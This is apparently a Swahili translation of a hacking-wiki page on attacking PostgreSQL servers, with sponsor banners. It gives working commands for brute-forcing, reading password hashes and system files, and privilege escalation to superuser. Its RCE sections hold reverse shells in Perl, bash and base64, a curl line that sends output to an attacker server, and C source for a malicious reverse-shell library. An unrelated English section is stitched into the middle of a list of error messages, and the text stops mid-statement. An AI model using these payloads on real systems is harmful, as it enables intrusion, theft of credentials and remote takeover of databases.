# 5432,5433 - Kupima Usalama wa PostgreSQL

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu** zilizowezeshwa na zana za jamii **za juu zaidi** duniani kwa urahisi.\
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

## **Taarifa Msingi**

**PostgreSQL** inaelezwa kama **mfumo wa hifadhidata wa vitu-vilivyohusiana** ambao ni **wa chanzo wazi**. Mfumo huu si tu unatumia lugha ya SQL lakini pia unaboresha kwa vipengele vingine. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na shughuli, hivyo kuwa chaguo la kipekee kwa waendelezaji na mashirika.

**Bandari ya msingi:** 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (labda 5433) ambayo haipo katika matumizi.
```
PORT     STATE SERVICE
5432/tcp open  pgsql
```
## Unganisha & Uchambuzi wa Msingi
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```

```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s
```
{% hint style="warning" %}
Ikiendesha **`\list`** na kupata database inaitwa **`rdsadmin`** unajua uko ndani ya **AWS postgresql database**.
{% endhint %}

Kwa habari zaidi kuhusu **jinsi ya kutumia vibaya database ya PostgreSQL** angalia:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}

## Uchambuzi wa Kiotomatiki
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Kujaribu nguvu**](../generic-methodologies-and-resources/brute-force.md#postgresql)

### **Uchunguzi wa Porti**

Kulingana na [**utafiti huu**](https://www.exploit-db.com/papers/13084), wakati jaribio la uunganisho linashindwa, `dblink` hutoa kipeperushi cha `sqlclient_unable_to_establish_sqlconnection` pamoja na maelezo ya kosa. Mifano ya maelezo haya imeorodheshwa hapa chini.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* Host imezimwa

`MAELEZO: hakuweza kuunganisha kwenye seva: Hakuna njia ya kufikia mwenyeji Je, seva inaendeshwa kwenye mwenyeji "1.2.3.4" na kukubali uunganisho wa TCP/IP kwenye bandari 5678?`

* Bandari imefungwa
```
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* Bandari iko wazi
```
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
```
### PostgreSQL Pentesting

#### Enumeration

To identify PostgreSQL services running on the target system, you can use tools like Nmap:

```bash
nmap -sV -p 5432 <target_ip>
```

#### Brute Forcing

You can perform brute force attacks against PostgreSQL using tools like Metasploit or Hydra:

```bash
hydra -L users.txt -P passwords.txt <target_ip> postgres
```

#### Exploitation

Exploiting PostgreSQL involves leveraging known vulnerabilities in the database system. You can use tools like Metasploit to exploit these vulnerabilities.

#### Post-Exploitation

After gaining access to a PostgreSQL database, you can perform various post-exploitation activities such as extracting sensitive data, creating new accounts, or even modifying existing data.
```
DETAIL:  FATAL:  password authentication failed for user "name"
```
* Bandari iko wazi au imezuiwa
```
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya kipekee. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kutoa majina ya watumiaji na nywila kutoka kwenye meza za mfumo sio jambo linalowezekana, unaweza kuzingatia kutumia njia ya mashambulizi ya orodha ya maneno iliyozungumziwa katika sehemu iliyotangulia, kwani inaweza kutoa matokeo chanya.

## Uorodheshaji wa Haki

### Majukumu

| Aina za Majukumu |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | Jukumu lina haki za msimamizi wa mfumo                                                                                                                        |
| rolinherit     | Jukumu linarithi moja kwa moja haki za majukumu ambayo ni wanachama wake                                                                                    |
| rolcreaterole  | Jukumu linaweza kuunda majukumu zaidi                                                                                                                           |
| rolcreatedb    | Jukumu linaweza kuunda mabadiliko                                                                                                                            |
| rolcanlogin    | Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha idhini ya kikao cha awali                                                     |
| rolreplication | Jukumu ni jukumu la kuzalisha. Jukumu la kuzalisha linaweza kuanzisha uhusiano wa kuzalisha na kuunda na kuondoa vipande vya kuzalisha.                           |
| rolconnlimit   | Kwa majukumu yanayoweza kuingia, hii inaweka idadi kubwa ya uhusiano wa wakati mmoja ambao jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo.                                 |
| rolpassword    | Sio nywila (soma daima kama `********`)                                                                                                        |
| rolvaliduntil  | Muda wa kumalizika kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kumalizika                                                                  |
| rolbypassrls   | Jukumu linapuuza sera za usalama wa ngazi ya safu, angalia [Sehemu 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) kwa maelezo zaidi. |
| rolconfig      | Chaguo-msingi la jukumu kwa mazingira ya muda wa kukimbia                                                                                          |
| oid            | Kitambulisho cha jukumu                                                                                                                                           |

#### Vikundi Vinavyovutia

* Ikiwa wewe ni mwanachama wa **`pg_execute_server_program`** unaweza **kutekeleza** programu
* Ikiwa wewe ni mwanachama wa **`pg_read_server_files`** unaweza **kusoma** faili
* Ikiwa wewe ni mwanachama wa **`pg_write_server_files`** unaweza **kuandika** faili

{% hint style="info" %}
Tambua kwamba katika Postgres **mtumiaji**, **kikundi** na **jukumu** ni **sawa**. Inategemea **jinsi unavyoitumia** na ikiwa **kuruhusu kuingia**.
{% endhint %}
```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Meza
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Kazi
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;
```
## Vitendo vya mfumo wa faili

### Soma saraka na faili

Kutoka kwa hii [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) wanachama wa kikundi kilichofafanuliwa **`DEFAULT_ROLE_READ_SERVER_FILES`** (kinachoitwa **`pg_read_server_files`**) na **watumiaji wa juu** wanaweza kutumia njia ya **`COPY`** kwenye njia yoyote (angalia `convert_and_check_filename` katika `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **CREATEROLE** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
```sql
GRANT pg_read_server_files TO username;
```
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Kuna **kazi nyingine za postgres** ambazo zinaweza kutumika kusoma faili au kuorodhesha saraka. Ni **watumiaji wa superusers** na **watumiaji wenye idhini wazi** pekee ndio wanaweza kuzitumia:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Unaweza kupata **kazi zaidi** katika [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)

### Kuandika Faili Rahisi

Ni **watumiaji wa juu** na wanachama wa **`pg_write_server_files`** pekee wanaweza kutumia nakala kuandika faili.
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}

{% hint style="warning" %}
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **`CREATEROLE`** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
```sql
GRANT pg_write_server_files TO username;
```
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Kumbuka kwamba COPY hawezi kushughulikia herufi za mstari mpya, hivyo hata kama unatumia mzigo wa base64 **unahitaji kutuma mstari mmoja**.\
Kikwazo muhimu sana cha mbinu hii ni kwamba **`copy` haiwezi kutumika kuandika faili za binary kwa sababu inabadilisha baadhi ya thamani za binary.**

### **Kuweka faili za binary**

Hata hivyo, kuna **mbinu nyingine za kupakia faili kubwa za binary:**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}

## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">

**Mwongozo wa tuzo ya mdudu**: **jiandikishe** kwa **Intigriti**, jukwaa la **tuzo za mdudu za malipo lililoanzishwa na wadukuzi, kwa wadukuzi**! Jiunge nasi kwenye [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata tuzo hadi **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

### Kuboresha data ya meza ya PostgreSQL kupitia kuandika faili za ndani
Ikiwa una ruhusa zinazohitajika kusoma na kuandika faili za seva za PostgreSQL, unaweza kuboresha meza yoyote kwenye seva kwa kubadilisha faili inayohusiana na nodi katika [directory ya data ya PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html).
Zaidi kuhusu mbinu hii [hapa](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).

Hatua zinazohitajika:
1. Pata directory ya data ya PostgreSQL
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```

**Kumbuka:** Ikiwa huwezi kupata njia ya sasa ya directory ya data kutoka kwa mipangilio, unaweza kuuliza toleo kuu la PostgreSQL kupitia swali la `SELECT version()` na jaribu kubadilisha njia. Njia za kawaida za directory ya data kwenye ufungaji wa Unix wa PostgreSQL ni `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Jina la kawaida la kikundi ni `main`.

2. Pata njia ya kihusiano kwa filenode, inayohusiana na meza ya lengo
```sql
SELECT pg_relation_filepath('{JINA_LA_MEZA}')
```
Swali hili linapaswa kurudi kitu kama `base/3/1337`. Njia kamili kwenye diski itakuwa `$DIRECTORY_DATA/base/3/1337`, yaani `/var/lib/postgresql/13/main/base/3/1337`.

3. Pakua filenode kupitia kazi za `lo_*`
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}',13337)
```
4. Pata aina ya data, inayohusiana na meza ya lengo
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{JINA_LA_MEZA}';
```
5. Tumia [Mhariri wa Filenode wa PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) kuhariri filenode; weka bendera zote za boolean za `rol*` kuwa 1 kwa ruhusa kamili.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {AINA_YA_DATA_CSV_KUTOKA_HATUA_4} -m update -p 0 -i ITEM_ID --csv-data {DATA_YA_CSV}
```
![Onyesho la Mhariri wa Filenode wa PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
7. Pakia tena filenode iliyohaririwa kupitia kazi za `lo_*`, na ubadilishe faili ya asili kwenye diski
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{NJIA_YA_KIHUSIANO}')
```
8. *(Hiari)* Futa cache ya meza kwenye kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
9. Sasa unapaswa kuona thamani za meza zilizosasishwa kwenye PostgreSQL.

Unaweza pia kuwa superadmin kwa kuhariri meza ya `pg_authid`. **Tazama [sehemu ifuatayo](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.


## RCE

### **RCE kwa programu**

Tangu [toleo 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), **watumiaji wa super** na wanachama wa kikundi cha **`pg_execute_server_program`** wanaweza kutumia nakala kwa RCE (mfano na utekaji:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Mfano wa kutekeleza:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za **`CREATEROLE`** unaweza **kujifanya kuwa mwanachama wa kikundi hicho:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Maelezo zaidi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Au tumia moduli ya `multi/postgres/postgres_copy_from_program_cmd_exec` kutoka **metasploit**.\
Maelezo zaidi kuhusu udhaifu huu [**hapa**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ingawa iliripotiwa kama CVE-2019-9193, Postges ilieleza kuwa hii ilikuwa [sifa na haitasahihishwa](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).

### RCE na Lugha za PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}

### RCE na Vifaa vya PostgreSQL

Baada ya **kujifunza** kutoka kwenye chapisho la awali **jinsi ya kupakia faili za binary** unaweza jaribu kupata **RCE kwa kupakia kifaa cha postgresql na kulipakia**.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}

### RCE ya Faili ya Usanidi wa PostgreSQL
{% hint style="info" %}
Vectors za RCE zifuatazo ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia taarifa za SELECT zilizofungwa
{% endhint %}

**Faili ya usanidi** ya PostgreSQL inaweza **kuandikwa** na **mtumiaji wa postgres**, ambaye ndiye anayeendesha database, hivyo kama **mtumiaji wa superuser**, unaweza kuandika faili kwenye mfumo wa faili, na hivyo unaweza **kuiandika upya faili hii.**

![](<../.gitbook/assets/image (303).png>)

#### **RCE na ssl\_passphrase\_command**

Maelezo zaidi [kuhusu mbinu hii hapa](https://pulsesecurity.co.nz/articles/postgres-sqli).

Faili ya usanidi ina sifa za kuvutia ambazo zinaweza kusababisha RCE:

- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Njia ya funguo ya kibinafsi ya database
- `ssl_passphrase_command = ''` Ikiwa faili ya kibinafsi inalindwa kwa nenosiri (imefichwa) postgresql ita **tekeleza amri iliyotajwa katika sifa hii**.
- `ssl_passphrase_command_supports_reload = off` **Ikiwa** sifa hii iko **on** amri itatekelezwa ikiwa funguo inalindwa kwa nenosiri **itaendeshwa** wakati `pg_reload_conf()` inatekelezwa.

Kwa hivyo, mshambuliaji atahitaji:

1. **Dump funguo ya kibinafsi** kutoka kwenye seva
2. **Ficha** funguo ya kibinafsi iliyopakuliwa:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Andika upya**
4. **Dump** usanidi wa sasa wa postgresql
5. **Andika upya** **usanidi** na usanidi uliotajwa wa sifa hizi:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Tekeleza `pg_reload_conf()`

Nilipokuwa nikijaribu hii niligundua kuwa hii itafanya kazi tu ikiwa **faili ya funguo ya kibinafsi ina ruhusa 640**, ni **mali ya root** na **kikundi cha ssl-cert au postgres** (hivyo mtumiaji wa postgres anaweza kuisoma), na iko katika _/var/lib/postgresql/12/main_.

#### **RCE na archive\_command**

**Maelezo zaidi** [**kuhusu usanidi huu na kuhusu WAL hapa**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**

Sifa nyingine katika faili ya usanidi inayoweza kutumiwa ni `archive_command`.

Ili hii ifanye kazi, mipangilio ya `archive_mode` lazima iwe `'on'` au `'always'`. Ikiwa hivyo, basi tunaweza kuandika upya amri katika `archive_command` na kuiruhusu kutekelezwa kupitia operesheni za WAL (write-ahead logging).

Hatua kuu ni:

1. Angalia ikiwa mode ya archive imeanzishwa: `SELECT current_setting('archive_mode')`
2. Andika upya `archive_command` na mzigo. Kwa mfano, shell ya nyuma: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Pakia upya usanidi: `SELECT pg_reload_conf()`
4. Laza operesheni ya WAL iendeshe, ambayo itaita amri ya kuhifadhi: `SELECT pg_switch_wal()` au `SELECT pg_switch_xlog()` kwa baadhi ya toleo za Postgres

#### **RCE na maktaba za kubeba mapema**
Maelezo zaidi [kuhusu mbinu hii hapa](https://adeadfed.com/posts/postgresql-select-only-rce/).

Kijia cha shambulizi hiki kinatumia vipimo vifuatavyo vya usanidi:
- `session_preload_libraries` -- maktaba ambazo zitapakiwa na seva ya PostgreSQL wakati wa uunganisho wa mteja.
- `dynamic_library_path` -- orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.

Tunaweza kuweka thamani ya `dynamic_library_path` kwa saraka, inayoweza kuandikwa na mtumiaji wa `postgres` anayeendesha database, k.m., saraka ya `/tmp/`, na kupakia faili ya `.so` yenye nia mbaya hapo. Kisha, tutalazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakiwa kwa kuijumuisha katika thamani ya `session_preload_libraries`.

Hatua za shambulizi ni:
1. Pakua `postgresql.conf` ya asili
2. Jumuisha saraka ya `/tmp/` katika thamani ya `dynamic_library_path`, k.m. `dynamic_library_path = '/tmp:$libdir'`
3. Jumuisha jina la maktaba yenye nia mbaya katika thamani ya `session_preload_libraries`, k.m. `session_preload_libraries = 'payload.so'`
4. Angalia toleo kuu la PostgreSQL kupitia swali la `SELECT version()`
5. Kompili kificho cha maktaba yenye nia mbaya na pakiti sahihi ya maendeleo ya PostgreSQL
Mfano wa kificho:
```c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
kificho kimechukuliwa kutoka https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
Kukusanya kificho:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. Pakia `postgresql.conf` yenye nia mbaya, iliyoundwa katika hatua 2-3, na iandike upya ile ya asili
7. Pakia `payload.so` kutoka hatua 5 kwenye saraka ya `/tmp`
8. Pakia upya usanidi wa seva kwa kuanzisha upya seva au kuita swali la `SELECT pg_reload_conf()`
9. Kwenye uunganisho ujao wa DB, utapokea uunganisho wa shell ya nyuma.
## **Postgres Privesc**

### CREATEROLE Privesc

#### **Kutoa**

Kulingana na [**hati**](https://www.postgresql.org/docs/13/sql-grant.html): _Vitu vyenye **`CREATEROLE`** inaweza **kutoa au kurejesha uanachama katika jukumu lolote** ambalo **si** **mtumiaji wa super**._

Kwa hivyo, ikiwa una ruhusa ya **`CREATEROLE`** unaweza kujipatia ufikiaji wa majukumu mengine (ambayo si mtumiaji wa super) ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Badilisha Nenosiri

Watumiaji wenye jukumu hili wanaweza pia **kubadilisha** **nenosiri** za watumiaji wengine **wasio wa kiwango cha juu**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Kupanda hadhi hadi SUPERUSER

Ni kawaida kukuta kwamba **watumiaji wa ndani wanaweza kuingia kwenye PostgreSQL bila kutoa nenosiri lolote**. Kwa hivyo, mara tu unapokusanya **ruhusa ya kutekeleza nambari**, unaweza kutumia ruhusa hizi kujipatia hadhi ya **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Hii kawaida inawezekana kwa sababu ya mistari ifuatayo katika faili ya **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
```
{% endhint %}

### **KUBADILISHA TABLE privesc**

Katika [**makala hii**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) imeelezwa jinsi ilivyowezekana kufanya **privesc** katika Postgres GCP kwa kutumia mamlaka ya ALTER TABLE ambayo ilikuwa imeruhusiwa kwa mtumiaji.

Unapojaribu **kufanya mtumiaji mwingine kuwa mmiliki wa meza** unapaswa kupata **kosa** linalozuia hilo, lakini inaonekana GCP iliruhusu **chaguo hilo kwa mtumiaji wa postgres asiye mtumiaji wa superuser** katika GCP:

<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>

Kwa kuunganisha wazo hili na ukweli kwamba wakati wa kutekeleza amri za **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) kwenye **meza yenye kazi ya index**, **kazi** inaitwa kama sehemu ya amri na **mamlaka ya mmiliki wa meza**. Inawezekana kuunda index na kazi na kumpa mamlaka ya mmiliki kwa **mtumiaji wa super** juu ya meza hiyo, kisha kukimbia ANALYZE kwenye meza na kazi yenye nia mbaya ambayo itaweza kutekeleza amri kwa sababu inatumia mamlaka ya mmiliki.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### Utekaji

1. Anza kwa kuunda meza mpya.
2. Ingiza baadhi ya maudhui yasiyofaa kwenye meza ili kutoa data kwa kazi ya index.
3. Endeleza kazi ya index yenye nia mbaya ambayo ina kifurushi cha utekelezaji wa nambari, kuruhusu amri zisizoidhinishwa kutekelezwa.
4. BADILISHA mmiliki wa meza kuwa "cloudsqladmin," ambayo ni jukumu la superuser la GCP linalotumiwa pekee na Cloud SQL kusimamia na kudumisha database.
5. Tekeleza operesheni ya ANALYZE kwenye meza. Hatua hii inalazimisha injini ya PostgreSQL kubadilisha muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi ya index yenye nia mbaya inaitwa kwa ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya kabla ya hapo isiyoidhinishwa.

Katika PostgreSQL, mchakato huu unaonekana kama hivi:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
